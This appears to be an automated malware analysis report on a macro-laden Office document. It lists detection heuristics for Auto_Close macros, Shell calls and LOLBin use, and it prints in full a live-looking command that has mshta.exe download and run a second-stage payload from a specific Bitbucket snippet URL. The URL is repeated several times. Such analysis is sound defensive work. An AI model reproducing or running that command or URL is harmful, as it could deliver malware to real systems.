Malware Insights
The sample contains VBA macros that leverage the Auto_Close function to execute mshta.exe. This executable is then used to download and run a payload from the reconstructed URL: "mshta https://bitbucket.org/!api/2.0/snippets/rikimartinplace/oq7nj8/62f3fdb4c415b179d375bfb22b2bda233968102b/files/dollar1final". This indicates a likely initial access vector via spearphishing attachment, leading to the execution of a secondary stage. The use of mshta.exe is a common technique for bypassing application whitelisting and executing malicious code.
Heuristics 9
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBA
-
Reference to mshta.exe high SC_STR_MSHTAReference to mshta.exe
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMANDExtracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://bitbucket.org/!api/2.0/snippets/rikimartinplace/oq7nj8/62f3fdb4c415b179d375bfb22b2bda233968102b/files/dollar1final�
- https://bitbucket.org/!api/2.0/snippets/rikimartinplace/oq7nj8/62f3fdb4c415b179d375bfb22b2bda233968102b/files/dollar1final$
- https://bitbucket.org/!api/2.0/snippets/rikimartinplac
- https://bitbucket.org/!api/2.0/snippets/rikimartinplace/oq7nj8/62f3fdb4c415b179d375bfb22b2bda233968102b/files/dollar1final
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.basbcb7b3e1d12e1c13807945dc350e8ac3571f4675a1dfe60d1a798e02a35dc42a |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1491 bytes |
Open this report in the interactive analyzer, or submit your own file for analysis.